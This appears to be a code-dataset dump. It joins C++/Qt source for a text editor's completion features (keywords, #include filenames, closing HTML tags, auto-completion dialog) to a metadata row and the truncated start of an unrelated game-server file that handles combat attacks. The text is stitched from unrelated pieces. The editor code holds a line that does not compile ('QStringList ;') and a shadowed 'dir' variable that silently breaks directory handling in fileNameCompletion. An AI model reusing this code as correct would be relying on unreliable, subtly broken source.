inline bool isDigit(wchar_t ch)
{
return ch < 0x100 && isdigit(ch);
}
void EditView::setupKeywordsCandidates(QStringList &lst, const QString &text, const QList<QString> &kwList)
{
for(int i = 0; i < kwList.size(); ++i) {
if( text.isEmpty() || kwList[i].startsWith(text) ) {
int ix = kwList[i].indexOf('\t');
if( ix < 0 )
lst += kwList[i];
else
lst += kwList[i].left(ix); // Tab 以降は無視;
}
}
}
bool EditView::setupKeywordsCandidates(QStringList &lst, const QString &text)
{
TypeSettings *ts = typeSettings();
int ln = positionToLine(m_textCursor->position());
uint flags = buffer()->lineFlags(ln);
if( (flags & Buffer::LINEFLAG_IN_SCRIPT) != 0 )
ts = mainWindow()->typeSettingsForType("JS");
else if( (flags & Buffer::LINEFLAG_IN_PHP) != 0 )
ts = mainWindow()->typeSettingsForType("PHP");
setupKeywordsCandidates(lst, text, ts->keywordList1());
setupKeywordsCandidates(lst, text, ts->keywordList2());
if( lst.isEmpty() ) return false;
lst.sort();
return true;
}
// return: 行頭空白類を削除するかどうか
bool EditView::setupCompletionCandidatesFollowingSpaces(QStringList &lst)
{
if( typeSettings()->name() == "CPP" ) {
lst << "public:" << "protected:" << "private:"
<< "public slots:" << "protected slots:" << "private slots:"
<< "signals:";
return true;
} else if( typeSettings()->name() == "HTML" ) {
// undone: li 補完すべきかどうかのチェック
lst << "<li></li>";
}
return false;
}
bool loadFile(Buffer &buffer, const QString &fileName)
{
QString errorString;
QTextCodec *codec = 0;
int bomLength;
byte newLineCode;
if( !::getTextCodec(fileName, errorString, codec, bomLength, newLineCode) ) {
QMessageBox::warning(0, "SakuSakuEditor",
QString("Cannot read file %1:\n%2.")
.arg(fileName)
.arg(errorString));
return false;
}
QFile file(fileName);
if( !file.open(QFile::ReadOnly /*| QFile::Text*/) ) {
errorString = file.errorString();
return false;
}
if( bomLength != 0 )
file.seek(bomLength);
buffer.init();
QByteArray ba;
int i = 0;
while( !file.atEnd() ) {
ba = file.read(1024*1024); // 最大IM
QString buf = codec->toUnicode(ba);
if( !buffer.basicInsertText(buffer.size(), (wchar_t *)buf.data(), buf.size()) ) {
buffer.init();
return false;
}
++i;
}
return true;
}
void EditView::setupCompletionCandidates(const QString &fileName, SSSearch *sss, QStringList &lst, const QString &text)
{
Buffer buffer;
if( !QFileInfo(fileName).exists() ) return;
if( !loadFile(buffer, fileName) ) return;
pos_t pos = 0;
QStringList ;
while( (pos = sss->strstr(buffer, pos)) >= 0 ) {
if( !isLetterOrNumberOrUnderbar(buffer[pos - 1]) ) { // 単語直後の場合
QString t(text);
pos += text.length();
while( pos < buffer.size() && isLetterOrNumberOrUnderbar(QChar(buffer[pos])) )
t += QChar(buffer[pos++]);
// カーソル位置より前の場合
int k = lst.indexOf(t);
if( k >= 0 )
lst.removeAt(k); // 重複はカーソルに近い方優先
lst.push_back(t);
} else
pos += text.length();
}
}
bool EditView::checkFileNameCompletion(QStringList &lst,
QString &text,
QString &postfix, // 継続文字列
pos_t &first) // 置換開始位置？
{
//qDebug() << "checkFileNameCompletion()";
pos_t pos = m_textCursor->position();
int ln = document()->positionToLine(pos);
pos_t ls = lineStartPosition(ln);
//qDebug() << "ls = " << ls << ", pos = " << pos;
Tokenizer tkn(*buffer(), ls, pos);
//qDebug() << tkn.tokenText();
if( tkn.tokenText() != "#" )
return false;
if( tkn.nextTokenText() != "include" ) {
//qDebug() << tkn.tokenText();
return false;
}
//if( tkn.tokenText() != "#" || tkn.nextTokenText() != "include" )
// return false;
//qDebug() << "#include";
QChar sep = tkn.skipSpace();
if( (sep != '\"' && sep != '<') || tkn.nextPosition() >= pos )
return false;
QChar sep2 = sep != '<' ? sep : '>';
//qDebug() << "sep2 = " << sep2;
postfix = sep2;
//if( tkn.nextPosition() != pos - text.size() - 1 )
// return false;
int begpos = tkn.nextPosition() + 1;
QString pat;
for(int i = tkn.nextPosition() + 1; i < pos; ++i) {
if( charAt(i) == sep2 ) return false;
pat += QChar(charAt(i));
}
//text = pat;
int ix = pat.lastIndexOf('/');
if( ix >= 0 ) {
first = begpos + ix + 1; // 置換するのは、最後の / の次から
text = pat.mid(ix+1);
} else {
first = begpos;
text = pat;
}
bool rc;
//qDebug() << "sep = " << sep;
if( sep == '<' ) { // ライブラリ補完
rc = clibralyCompletion(lst, pat, first);
} else
rc = fileNameCompletion(lst, pat, first);
//if( rc )
// text = pat;
return rc;
}
bool EditView::fileNameCompletion(QStringList &lst, QString &pat, pos_t &first)
{
//QString dirPath;
QDir dir;
if( fullPathName().isEmpty() ) {
dir = QDir::current();
} else {
QDir dir(fullPathName());
dir.cdUp();
}
qDebug() << dir.absolutePath();
while( pat.startsWith("../") || pat.startsWith("..\\") ) {
pat = pat.mid(3);
dir.cdUp();
}
int ix = pat.lastIndexOf('/');
if( ix >= 0 ) {
dir = QDir(dir.absolutePath() + "/" + pat.left(ix));
pat = pat.mid(ix+1);
//first += ix + 1;
}
QStringList elst = dir.entryList(QDir::Files | QDir::NoDotAndDotDot, QDir::Name);
foreach(const QString fileName, elst) {
if( pat.isEmpty() || fileName.startsWith(pat, Qt::CaseInsensitive) )
lst += fileName;
}
elst = dir.entryList(QDir::Dirs | QDir::NoDotAndDotDot, QDir::Name);
foreach(const QString fileName, elst) {
if( pat.isEmpty() || fileName.startsWith(pat, Qt::CaseInsensitive) )
lst += fileName + "/"; // ディレクトリは / を付加
}
return !lst.isEmpty();
//if( !lst.isEmpty() ) {
// return true;
//} else
// return false;
}
// src=" 補完
bool EditView::checkSrcFileNameCompletion(QStringList &lst,
QString &text,
QString &postfix, // 継続文字列
pos_t &first) // 置換開始位置？
{
pos_t pos = m_textCursor->position();
int ln = document()->positionToLine(pos);
pos_t ls = lineStartPosition(ln);
Tokenizer tkn(*buffer(), ls, pos);
QString token1, token2, token3;
pos_t lastPos;
while( tkn.tokenType() != Tokenizer::END_OF_FILE
&& tkn.tokenPosition() < pos )
{
lastPos = tkn.tokenPosition();
token1 = token2;
token2 = token3;
token3 = tkn.tokenText();
//qDebug() << tkn.tokenText();
tkn.nextToken();
}
if( token1.compare("src", Qt::CaseInsensitive) != 0
|| token2 != "="
|| token3.isEmpty()
|| token3[0] != '\"' )
{
return false;
}
first = lastPos + 1;
postfix = "\"";
QString pat= token3.mid(1, pos - first);
//qDebug() << pat;
return fileNameCompletion(lst, pat, first);
}
void EditView::setupCloseTags(QStringList &lst)
{
//lst << "</body>" << "</html>";
pos_t pos = m_textCursor->position();
checkEndTagCompletion(lst, pos);
}
// </endtag 補完
bool EditView::checkEndTagCompletion(QStringList &lst,
pos_t &first) // in:補完開始位置、out:置換開始位置
{
if( isLetterOrUnderbar(charAt(first)) || charAt(first-1) != '<' )
return false;
Tokenizer tkn(*buffer(), 0, first);
while( tkn.tokenType() != Tokenizer::END_OF_FILE ) {
const QString text = tkn.tokenText();
if( text == "<" && isLetterOrUnderbar(charAt(tkn.tokenPosition() + 1)) ) {
tkn.nextToken();
QString tagText = "</" + tkn.tokenText() + ">";
int ix = lst.lastIndexOf(tagText);
if( ix >= 0 ) {
while( lst.size() > ix ) lst.pop_back();
}
lst.push_back(tagText);
} else if( text == "<" && charAt(tkn.tokenPosition() + 1) == '/'
&& isLetterOrUnderbar(charAt(tkn.tokenPosition() + 2))
&& !lst.isEmpty() )
{
//qDebug() << "end tag";
tkn.nextToken();
tkn.nextToken();
QString tagText = "</" + tkn.tokenText() + ">";
if( lst.last() == tagText )
lst.pop_back();
} else if( tkn.tokenType() == Tokenizer::STRING && text[0] != text[text.size()-1] ) {
qDebug() << "not closed string.";
// 文字列が閉じていない場合
Tokenizer tkn2(*buffer(), tkn.tokenPosition()+1, tkn.tokenPosition() + text.size());
while( tkn2.tokenType() != Tokenizer::END_OF_FILE ) {
if( tkn2.tokenText() == "<" && isLetterOrUnderbar(charAt(tkn2.tokenPosition() + 1)) ) {
tkn2.nextToken();
QString tagText = "</" + tkn2.tokenText() + ">";
int ix = lst.lastIndexOf(tagText);
if( ix >= 0 ) {
while( lst.size() > ix ) lst.pop_back();
}
lst.push_back(tagText);
}
tkn2.nextToken();
}
}
tkn.nextToken();
}
return !lst.isEmpty();
}
// } 補完
bool EditView::checkEndBraceCompletion(int ln)
{
if( m_textCursor->hasSelection() )
return false;
pos_t pos = m_textCursor->position();
if( buffer()->charAt(pos - 1) != '{' )
return false;
bool im = isModified();
QString it = indentText(ln);
QString text = newLineText() + it + "}";
m_textCursor->insertText(text);
m_textCursor->setPosition(pos);
m_textCursor->insertText(newLineText() + it + "\t");
if( !im )
emit modifiedChanged();
update();
return false;
}
const char *g_libnames[] = {
"algorithm", "array", "assert.h", "atomic", "bitset",
"cassert", "cctype", "cerrno", "cfenv", "cfloat",
"chrono", "cinttypes", "ciso646", "climits", "clocale",
"cmath", "codecvt", "complex", "condition_variable", "csetjmp",
"csignal", "cstdarg", "cstdbool", "cstddef", "cstdint",
"cstdio", "cstdlib", "cstring", "ctgmath", "ctime",
"ctype.h", "cuchar", "cwchar", "cwctype", "deque",
"errno.h", "exception", "fenv.h", "float.h", "forward_list",
"fstream", "functional", "future", "initializer_list", "inttypes.h",
"iomanip", "ios", "iosfwd", "iostream", "iso646.h",
"istream", "iterator", "limits", "limits.h", "list",
"locale", "locale.h", "map", "math.h", "memory",
"mutex", "new", "numeric", "ostream", "queue",
"random", "ratio", "regex", "set", "setjmp.h",
"signal.h", "sstream", "stack", "stdarg.h", "stdbool.h",
"stddef.h", "stdexcept", "stdint.h", "stdio.h", "stdlib.h",
"streambuf", "string", "string.h", "system_error", "tgmath.h",
"thread", "time.h", "tuple", "type_traits", "typeindex",
"typeinfo", "uchar.h", "unordered_map", "unordered_set", "utility",
"valarray", "vector", "wchar.h", "wctype.h",
0
};
void setupLibNames(QStringList &lst /*, QString pat*/)
{
lst.clear();
for(cchar **pp = &g_libnames[0]; *pp != 0; ++pp) {
QString s(*pp);
//if( pat.isEmpty() || s.startsWith(pat) )
lst += "<" + s + ">";
}
}
bool EditView::clibralyCompletion(QStringList &lst, const QString &pat, pos_t &first)
{
//qDebug() << "clibralyCompletion()";
//first = 0;
for(cchar **pp = &g_libnames[0]; *pp != 0; ++pp) {
QString s(*pp);
if( pat.isEmpty() || s.startsWith(pat) )
lst += s;
}
return !lst.isEmpty();
}
int EditView::setupCompletionCandidates(QStringList &lst, const QString &text,
pos_t first) // 参照単語先頭位置
{
//lst.clear();
if( text.isEmpty() ) return 0;
//if( checkFileNameCompletion(lst, text) )
// return;
std::unique_ptr<SSSearch> sss(new SSSearch());
//SSSearch srch;
if( !sss->setup((const wchar_t *)text.data(), text.size()) ) return 0;
int maxLn = qMin(100, document()->lineCount());
for(int ln = 0; ln < maxLn; ++ln) {
Tokenizer tkn(*buffer(), lineStartPosition(ln), lineStartPosition(ln+1));
if( tkn.tokenText() == "#"
&& tkn.nextToken() == Tokenizer::IDENT && tkn.tokenText() == "include"
&& tkn.nextToken() == Tokenizer::STRING )
{
QString fileName = tkn.tokenText().mid(1, tkn.tokenText().size() - 2);
//qDebug() << fileName;
QDir path(fileName);
//if( !path.isAbsolute() ) {
//path.makeAbsolute();
fileName = path.absolutePath();
//}
qDebug() << fileName;
setupCompletionCandidates(fileName, sss.get(), lst, text);
}
}
int n = lst.size(); // カーソル以前の候補数
//const int lastPosition = first + text.length();
pos_t pos = 0;
QStringList lstAfter;
while( (pos = sss->strstr(*buffer(), pos)) >= 0 ) {
if( pos != 0 && !isLetterOrNumberOrUnderbar(charAt(pos - 1)) ) { // 単語直後の場合
pos_t pos0 = pos; // マッチ位置
QString t(text);
pos += text.length();
while( pos < bufferSize() && isLetterOrNumberOrUnderbar(QChar(charAt(pos))) )
t += QChar(charAt(pos++));
if( pos0 < first ) {
// カーソル位置より前の場合
int k = lst.indexOf(t);
if( k >= 0 )
lst.removeAt(k); // 重複はカーソルに近い方を優先
else
++n;
lst.push_back(t);
} else if( pos0 > first) {
// カーソルより後ろの場合
int k = lst.indexOf(t);
if( k < 0 ) {
k = lstAfter.indexOf(t);
if( k < 0 ) //
lstAfter.push_back(t);
} else if( lst.size() - k > lstAfter.size() && lstAfter.indexOf(t) < 0 ) {
lst.removeAt(k);
lstAfter.push_back(t);
}
}
} else
pos += text.length();
}
lst += lstAfter;
//if( n < 0 ) n = lst.size() - 1;
if( n > 0 ) --n; // カーソル以前に候補がある場合は、最後の候補
return n;
}
void EditView::completion()
{
completion(false);
}
void EditView::kwCompletion()
{
completion(true);
}
bool EditView::isSpaces(pos_t first, pos_t last) const
{
while( first < last ) {
if( !isSpaceChar(charAt(first++)) )
return false;
}
return true;
}
// 動的補完
void EditView::completion(bool keyword)
{
bool im = isModified();
m_textCursor->clearSelection();
pos_t first = m_textCursor->position();
#if 0
QRect rect = cursorRect(cur);
QPoint p(rect.x() + leftMarginWidth(), rect.bottom()); // EditView 座標系
#endif
QString text; // カーソル直前の参照されるテキスト
pos_t pos = m_textCursor->position();
int ln = document()->positionToLine(pos);
pos_t ls = lineStartPosition(ln);
int offset = pos - ls;
int row = 0;
QStringList lst; // 補完候補入れ物
QString postfix; // 継続文字列
bool blankText = false; // 補完元テキストが空
bool toRemoveSpaces = false; // 行頭空白削除
if( !keyword && (pos == ls || isSpaces(ls, pos)) ) {
// 行頭 or カーソル直前が空白類だけの場合、それ専用の処理
blankText = true;
toRemoveSpaces = setupCompletionCandidatesFollowingSpaces(lst);
} else if( !keyword && checkFileNameCompletion(lst, text, postfix, first) ) { // ファイル名補完
qDebug() << "checkFileNameCompletion() returned True";
} else if( !keyword && checkSrcFileNameCompletion(lst, text, postfix, first) ) { // src=" ファイル名補完
} else if( !keyword && checkEndBraceCompletion(ln) ) {
return;
} else if( !keyword && checkEndTagCompletion(lst, first) ) { // </endtag> 補完
--first;
row = lst.size() - 1;
///} else if( !keyword && checkCloseBraceCompletion(lst, first) ) { // } 補完
} else {
if( offset > 0 && isLetterOrNumberOrUnderbar(QChar(document()->charAt(pos - 1))) ) {
TextCursor cur(*m_textCursor);
cur.movePosition(TextCursor::BEG_WORD, TextCursor::KEEP_ANCHOR);
if( !cur.hasSelection() )
cur.movePosition(TextCursor::PREV_WORD, TextCursor::KEEP_ANCHOR);
first = cur.position();
text = cur.selectedText();
}
if( !keyword ) {
row = setupCompletionCandidates(lst, text, first); // 補完候補をセットアップ
} else {
setupKeywordsCandidates(lst, text);
}
if( lst.isEmpty() ) return; // 補完候補無し
}
CompletionWidget cmpl(this, lst, text);
cmpl.setCurrentRow(row);
if( !cmpl.count() ) {
///showMessage(tr("No matched keyword."));
return;
}
QRect rct = rect();
int vln = m_textCursor->viewLine();
int x = offsetToPx(vln, pos - viewLineStartPosition(vln));
int y = (vln - m_scrollY0 + 1) * lineHeight() - 1 /*+ 2*/;
int ht = cmpl.height();
if( y + ht > rct.height() ) {
y -= ht + lineHeight() + 2;
}
QPoint p(x + m_lineNumAreaWidth, y);
cmpl.move(mapToGlobal(p)); // EditView 座標系 → グローバル座標系変換
if( cmpl.count() == 1 ) { //
if( blankText ) {
// undone: オートインデント対応？
m_textCursor->insertText(cmpl.text());
emit textInserted(cmpl.text());
QRegExp re("<.+></.+>");
if( re.exactMatch(cmpl.text()) ) {
// <li></li> 等の場合は、その間にカーソル移勁
int ix = cmpl.text().lastIndexOf("<");
m_textCursor->movePosition(TextCursor::LEFT,
TextCursor::MOVE_ANCHOR,
cmpl.text().size() - ix);
}
//##updateScrollBarInfo();
makeCursorInView();
update();
if( !im )
emit modifiedChanged();
return;
}
//return;
}
connect(&cmpl, SIGNAL(textChanged(const QString &)),
this, SLOT(cmplTextChanged(const QString &)));
const int rc = cmpl.exec();
switch( rc ) {
case QDialog::Accepted: {
wchar_t ch = charAt(m_textCursor->position());
if( toRemoveSpaces )
m_textCursor->movePosition(TextCursor::BEG_LINE, TextCursor::KEEP_ANCHOR);
else
m_textCursor->setPosition(first, TextCursor::KEEP_ANCHOR);
QString txt = cmpl.text(); // 差分ではなく、フルテキストが返ってくる
if( txt[txt.size()-1] != '/' && (!ch || isSpaceOrNewLineChar(ch)) && !postfix.isEmpty() )
txt += postfix;
m_textCursor->insertText(txt);
emit textInserted(cmpl.text());
if( !im )
emit modifiedChanged();
break;
}
case '\b':
m_textCursor->deletePrevChar();
if( !im )
emit modifiedChanged();
break;
}
}
bool EditView::setupWord(QStringList &lst, QString &key, pos_t &first)
{
//lst.clear();
TextCursor cur(*m_textCursor);
if( typeSettings()->name() == "CSS" ) {
pos_t pos = cur.position();
pos_t ls = viewLineStartPosition(cur.viewLine());
while( pos != ls && isLetterOrNumberOrUnderbarOrMinus(charAt(pos-1)) )
--pos;
cur.setPosition(pos, TextCursor::KEEP_ANCHOR);
} else
cur.movePosition(TextCursor::BEG_WORD, TextCursor::KEEP_ANCHOR);
if( !cur.hasSelection() )
cur.movePosition(TextCursor::PREV_WORD, TextCursor::KEEP_ANCHOR);
first = cur.position();
//if( charAt(first - 1) == '\\' ) // \n のような場合は自動補完しない方がよい？
// return false;
key = cur.selectedText();
if( key.isEmpty() || !isLetterOrUnderbar(key[0]) )
return false;
setupCompletionCandidates(lst, key, first);
return !lst.isEmpty();
}
void EditView::cmplTextChanged(const QString &text)
{
//showMessage(text);
}
void EditView::showAutoCompletionDlg(const QStringList &lst, QString ft, bool selTail, bool filterCaseSensitive)
{
if( lst.isEmpty()
|| lst.size() == 1 && lst[0] == ft ) // 候補がひとつで、キー文字列と等しい場合
{
return;
}
m_autoCompletionDlg = new AutoCompletionDlg(lst, ft, selTail, this);
m_autoCompletionDlg->setFilterCaseSensitive(filterCaseSensitive);
connect(m_autoCompletionDlg, SIGNAL(keyPressed(QString)),
this, SLOT(autoCmplKeyPressed(QString)),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(backSpace()),
this, SLOT(autoCmplBackSpace()),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(delPressed(bool, bool)),
this, SLOT(autoCmplDelete(bool, bool)),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(leftPressed(bool, bool)),
this, SLOT(autoCmplLeft(bool, bool)),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(rightPressed(bool, bool)),
this, SLOT(autoCmplRight(bool, bool)),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(zenCoding()),
this, SLOT(autoCmplZenCoding()),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(pasted()),
this, SLOT(autoCmplPasted()),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(decided(QString, bool)),
this, SLOT(autoCmplDecided(QString, bool)),
Qt::QueuedConnection);
connect(m_autoCompletionDlg, SIGNAL(rejected()),
this, SLOT(autoCmplRejected()),
Qt::QueuedConnection);
//this->setFocus();
m_autoCompletionDlg->show();
pos_t pos = m_textCursor->position();
QRect rct = rect();
int vln = m_textCursor->viewLine();
int x = offsetToPx(vln, pos - viewLineStartPosition(vln));
int y = (vln - m_scrollY0 + 1) * lineHeight() - 1 /*+ 4*/;
int ht = m_autoCompletionDlg->height();
if( y + ht > rct.height() ) {
y -= ht + lineHeight() + 2;
}
QPoint p(x + m_lineNumAreaWidth, y);
#if BASE_QWIDGET
m_autoCompletionDlg->move(p);
#else
// EditView 座標系 → グローバル座標系変換
m_autoCompletionDlg->move(mapToGlobal(p));
#endif
//m_autoCompletionDlg->setFocus();
m_autoCmplFilter = ft;
m_autoCmplTyped.clear();
}
void EditView::closeAutoCompletionDlg()
{
if( m_autoCompletionDlg == 0 )
return;
delete m_autoCompletionDlg;
m_autoCompletionDlg = 0;
}
// 単語 \s+ 直後か？
bool EditView::isAfter(pos_t &lastTokenPos, const QString &key, pos_t pos)
{
if( pos < 0 )
pos = m_textCursor->position();
int vln = m_textCursor->viewLine();
pos_t ls = viewLineStartPosition(vln);
QString token = getLastToken(typeSettings(), *buffer(), ls, pos, lastTokenPos);
return token == key;
}
#if 0
// for \s+ 直後か？
bool EditView::isAfterFor(int &lastTokenPos)
{
pos_t pos = m_textCursor->position();
int vln = m_textCursor->viewLine();
pos_t ls = viewLineStartPosition(vln);
QString token = getLastToken(typeSettings(), *buffer(), ls, pos, lastTokenPos);
return token == "for";
}
#endif
// #include \s* 直後か？
bool EditView::isAfterInclude()
{
pos_t pos = m_textCursor->position();
int vln = m_textCursor->viewLine();
pos_t p = viewLineStartPosition(vln);
while( p <= pos && isSpaceChar(charAt(p)) ) ++p;
if( !buffer()->isMatched(L"#include", p) ) return false;
p += strlen("#include");
while( p <= pos && isSpaceChar(charAt(p)) ) ++p;
return p == pos;
}
// #include \s* ".*直後か？
// p は " 直後位置を返す
bool EditView::isAfterIncludeDQ(pos_t &p)
{
pos_t pos = m_textCursor->position();
int vln = m_textCursor->viewLine();
p = viewLineStartPosition(vln);
while( p <= pos && isSpaceChar(charAt(p)) ) ++p;
if( !buffer()->isMatched(L"#include", p) ) return false;
p += strlen("#include");
while( p <= pos && isSpaceChar(charAt(p)) ) ++p;
if( charAt(p++) != '\"' ) return false;
return p <= pos;
}
void EditView::autoCmplKeyPressed(QString text)
{
if( text[0].unicode() >= 0x20 && text[0].unicode() < 0x7f || text == "\t" ) {
//if( viEngine()->isRedoRecording() )
// viEngine()->appendInsertedText(text);
m_autoCmplTyped += text;
if( !editForVar(text) )
insertText(text);
if( m_autoCompletionDlg != 0 ) {
if( !m_autoCompletionDlg->count() )
closeAutoCompletionDlg();
else if( m_autoCompletionDlg->count() == 1 ) {
QString t = getText(*buffer(), m_autoCmplPos, m_textCursor->position());
QString t2 = m_autoCompletionDlg->text();
if( t == t2 )
closeAutoCompletionDlg();
}
}
if( m_autoCompletionDlg == 0 ) {
const bool stmntCmpl = typeSettings()->boolValue(TypeSettings::STATEMENT_COMPLETION);
//const bool stmntCmpl = globSettings()->boolValue(GlobalSettings::STATEMENT_COMPLETION);
TypeSettings *ts = typeSettings();
const QString typeName = ts->name();
const bool isCPPType = typeName == "CPP"
|| typeName == "C#"
|| typeName == "HLSL"
|| typeName == "JAVA"
|| typeName == "PHP";
pos_t lastTokenPos;
pos_t pos = m_textCursor->position() - text.size();
if( stmntCmpl && text == "(" && isAfter(lastTokenPos, "for", pos)
&& isCPPType )
{
m_autoCmplPos = lastTokenPos;
QStringList lst;
setupCandidates(lst, "for", typeName);
showAutoCompletionDlg(lst, "for (");
} else if( stmntCmpl && text == "(" && isAfter(lastTokenPos, "foreach", pos)
&& typeName == "C#" )
{
m_autoCmplPos = lastTokenPos;
QStringList lst;
setupCandidates(lst, "foreach", typeName);
showAutoCompletionDlg(lst, "foreach (");
} else if( stmntCmpl && text == "(" && isAfter(lastTokenPos, "if", pos)
&& isCPPType )
{
m_autoCmplPos = lastTokenPos;
QStringList lst;
setupCandidates(lst, "if", "CPP");
showAutoCompletionDlg(lst, "if (");
} else if( stmntCmpl && text == "("
&& isCPPType && isAfter(lastTokenPos, "while", pos) )
{
m_autoCmplPos = lastTokenPos;
QStringList lst;
setupCandidates(lst, "while", "CPP");
showAutoCompletionDlg(lst, "while (");
}
}
}
}
void EditView::autoCmplLeft(bool ctrl, bool shift)
{
closeAutoCompletionDlg();
curMove(TextCursor::LEFT);
}
void EditView::autoCmplRight(bool ctrl, bool shift)
{
closeAutoCompletionDlg();
curMove(TextCursor::RIGHT);
}
void EditView::autoCmplBackSpace()
{
onBackSpace(false, false, false);
}
void EditView::autoCmplDelete(bool ctrl, bool shift)
{
onDelete(ctrl, shift, false);
}
void EditView::autoCmplZenCoding()
{
closeAutoCompletionDlg();
zenCoding();
}
void EditView::autoCmplPasted()
{
closeAutoCompletionDlg();
paste();
}
// 自動補完文字列が確定した場合の処理
// abc があった場合に a とタイプし、確定した場合：
// m_autoCmplFilter = "a", text = "abc"
// ViEngine::insertedText = "a"
// abc があった場合に abc までタイプした場合：autoClosed = true
// m_autoCmplFilter = "a", text = "abc"
// ViEngine::insertedText = "ab"
void EditView::autoCmplDecided(QString text, bool autoClosed)
{
qDebug() << "*** autoCmplDecided(text = " << text << ", autoClosed = " << autoClosed << ")";
qDebug() << "m_autoCmplFilter = " << m_autoCmplFilter << ", m_autoCmplTyped = " << m_autoCmplTyped;
qDebug() << "text = " << text << "ViEngine::insertedText = " << viEngine()->insertedText();
qDebug() << "insertedText = '" << viEngine()->insertedText() << "'";
//if( autoClosed ) {
// const int sz = viEngine()->insertedText().size();
// viEngine()->appendInsertedText(text.mid(sz));
//}
#if 0
text = text.mid(m_autoCmplFilter.size());
#else
auto pos0 = m_textCursor->position();
m_textCursor->setPosition(m_autoCmplPos, TextCursor::KEEP_ANCHOR); // 既に入力済みの部分を選択
QString t0 = m_textCursor->selectedText();
//if (autoClosed) {
qDebug() << "t0 = " << t0;
//int sz = t0.size();
int sz = qMax(m_autoCmplFilter.size(), t0.size());;
text = text.mid(sz);
m_textCursor->setPosition(pos0); // 選択解除
//}
//viEngine()->removeFromInsertedText(t0);
#endif
///viEngine()->removeFromInsertedText(m_autoCmplFilter);
//if( text.startsWith(t0) )
// viEngine()->appendInsertedText(text.mid(t0.size()));
QString t = autoIndentText();
QString dst;
pos_t pos = -1;
openUndoBlock();
for (int i = 0; i < text.size();) {
QChar ch = text[i++];
if( ch == '\\' && i < text.size() ) {
ch = text[i++];
if( ch == 't' )
ch = '\t';
else if( ch == 'n' ) {
insertText(dst);
insertText(t);
//insertText("\n");
dst.clear();
continue;
} else if( ch == 'c' ) {
insertText(dst);
pos = m_textCursor->position();
dst.clear();
continue;
}
}
dst += ch;
}
if( !editForVar(dst) ) {
m_noFallingChars = true;
insertText(dst);
m_noFallingChars = false;
} if( !m_autoCmplAtBegWord
&& !autoClosed ) // 自動確定の場合は、削除を行わない
{
// 確定後以降の英数字文字を削除
int p = m_textCursor->position();
while( isLetterOrNumberOrUnderbar(charAt(p)) ) ++p;
if( p != m_textCursor->position() ) {
m_textCursor->setPosition(p, TextCursor::KEEP_ANCHOR);
m_textCursor->deleteChar();
}
}
m_autoCmplAtBegWord = false;
closeUndoBlock();
if( pos >= 0 ) {
m_textCursor->setPosition(pos);
if( isLetterOrNumberOrUnderbar(QChar(charAt(pos))) )
m_textCursor->movePosition(TextCursor::END_WORD, TextCursor::KEEP_ANCHOR);
}
closeAutoCompletionDlg();
setFocus(); // ダイアログクリックで取られたフォーカスを戻す
update();
}
void EditView::autoCmplRejected()
{
closeAutoCompletionDlg();
setFocus(); // ダイアログクリックで取られたフォーカスを戻す
}
| 30.759341 | 119 | 0.633954 | vivisuke |
4df815d7471a0efa569df499ef71bcbdb3d7b897 | 58,274 | cpp | C++ | GameAttack/gameattack.cpp | ycsoft/FatCat-Server | fe01d3278927437c04977f3009154537868cc354 | [
"MIT"
] | 30 | 2015-08-31T04:25:35.000Z | 2022-02-19T17:39:23.000Z | GameAttack/gameattack.cpp | Mark0518/FatCat-Server | fe01d3278927437c04977f3009154537868cc354 | [
"MIT"
] | null | null | null | GameAttack/gameattack.cpp | Mark0518/FatCat-Server | fe01d3278927437c04977f3009154537868cc354 | [
"MIT"
] | 35 | 2015-08-31T10:19:03.000Z | 2021-09-18T07:37:00.000Z | #include "./../OperationPostgres/operationpostgres.h"
#include "./../GameTask/gametask.h"
#include "./../memManage/diskdbmanager.h"
#include "./../Game/getdefinevalue.h"
#include "./../GameTask/gametask.h"
#include "./../Monster/monster.h"
#include "./../Game/session.hpp"
#include "gameattack.h"
#include "./../server.h"
#include "./../PlayerLogin/playerlogin.h"
GameAttack::GameAttack()
:m_attackRole(new _umap_roleAttackAim)
,m_attackMonster(new _umap_roleAttackAim)
,m_attackPoint(new _umap_roleAttackPoint)
,m_skillInfo(new umap_skillInfo)
{
}
GameAttack::~GameAttack()
{
delete m_skillInfo;
m_skillInfo = NULL;
}
//攻击点
void GameAttack::AttackPoint(TCPConnection::Pointer conn, STR_PackUserAttackPoint* t_attack)
{
Server* srv = Server::GetInstance();
srv->free(t_attack);
}
//攻击目标
void GameAttack::AttackAim(TCPConnection::Pointer conn, STR_PackUserAttackAim* t_attack)
{
Server* srv = Server::GetInstance();
if(t_attack->SkillID >= 5001) //技能攻击
{
umap_skillInfo::iterator it = m_skillInfo->find(t_attack->SkillID);
if(it == m_skillInfo->end())
{
Logger::GetLogger()->Debug("not this skill");
srv->free(t_attack);
return;
}
hf_double timep = GetCurrentTime();
STR_PackSkillResult t_skillResult;
t_skillResult.SkillID = t_attack->SkillID;
if(SkillCoolTime(conn, timep, t_attack->SkillID) == 0)
{
t_skillResult.result = SKILL_NOTCOOL;
conn->Write_all(&t_skillResult, sizeof(STR_PackSkillResult));
srv->free(t_attack);
return;
}
if(it->second.SkillRangeID == 2) //自己为圆心
{
AimItselfCircle(conn, &it->second, timep);
}
else if(it->second.SkillRangeID == 1) //目标
{
if(t_attack->AimID > 100000000)
{
AimRole(conn,&it->second, timep, t_attack->AimID);
}
else if(30000000 <= t_attack->AimID && t_attack->AimID < 40000000)
{
AimMonster(conn,&it->second, timep, t_attack->AimID);
}
}
else if(it->second.SkillRangeID == 3) //目标为圆心
{
if(t_attack->AimID > 100000000)
{
}
else if(30000000 <= t_attack->AimID && t_attack->AimID < 40000000)
{
AimMonsterCircle(conn,&it->second, timep,t_attack->AimID);
}
}
}
else //普通攻击
{
if(t_attack->AimID > 100000000) //攻击玩家
{
CommonAttackRole(conn, t_attack);
}
else if(30000000 <= t_attack->AimID && t_attack->AimID < 40000000)
{
CommonAttackMonster(conn, t_attack);
}
}
srv->free(t_attack);
}
//普通攻击角色
void GameAttack::CommonAttackRole(TCPConnection::Pointer conn, STR_PackUserAttackAim* t_attack)
{
SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
STR_PackDamageData t_damageData;
hf_double timep = GetCurrentTime();
